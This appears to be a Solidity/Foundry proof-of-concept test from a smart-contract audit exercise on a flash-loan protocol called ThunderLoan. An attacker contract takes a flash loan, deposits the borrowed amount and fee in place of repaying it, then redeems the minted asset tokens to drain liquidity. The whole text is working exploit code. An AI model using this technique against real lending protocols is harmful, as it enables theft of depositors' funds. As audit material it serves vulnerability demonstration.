pragma solidity 0.8.20;
import { IThunderLoan,IERC20 } from "../../src/interfaces/IFlashLoanReceiver.sol";
contract AttackerFlashLoanReceiver {
IThunderLoan public s_thunderLoan;
constructor(address thunderLoan) {
s_thunderLoan = IThunderLoan(thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
)
external
{
IERC20(token).approve(address(s_thunderLoan), amount + fee);
s_thunderLoan.deposit(IERC20(token), amount + fee);
}
function redeem(IERC20 token, uint256 amount) external {
s_thunderLoan.redeem(token, amount);
token.transfer(msg.sender, amount);
}
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
modifier hasDeposits() {
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
vm.stopPrank();
_;
}
function test_flashLoanAndDepositTheAmountInsteadOfRepay() external setAllowedToken hasDeposits {
uint256 amountToBorrow = 10e18;
uint256 predictedFee = 0.03 ether;
address attacker = makeAddr("attacker");
AttackerFlashLoanReceiver attackerFlashLoanReceiver = new AttackerFlashLoanReceiver(address(thunderLoan));
tokenA.mint(address(attackerFlashLoanReceiver), predictedFee);
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
vm.startPrank(attacker);
uint256 intialAssetTokenBalance = assetToken.balanceOf(address(attackerFlashLoanReceiver));
assertEq(intialAssetTokenBalance, 0);
thunderLoan.flashloan(address(attackerFlashLoanReceiver), tokenA, amountToBorrow, "");
uint256 afterBalanceContractAssetToken = assetToken.balanceOf(address(attackerFlashLoanReceiver));
assertGt(afterBalanceContractAssetToken, 0);
console.log(afterBalanceContractAssetToken);
attackerFlashLoanReceiver.redeem(tokenA, afterBalanceContractAssetToken);
uint256 afterBalance = tokenA.balanceOf(attacker);
assertGt(afterBalance, 0);
console.log(afterBalance);
vm.stopPrank();
}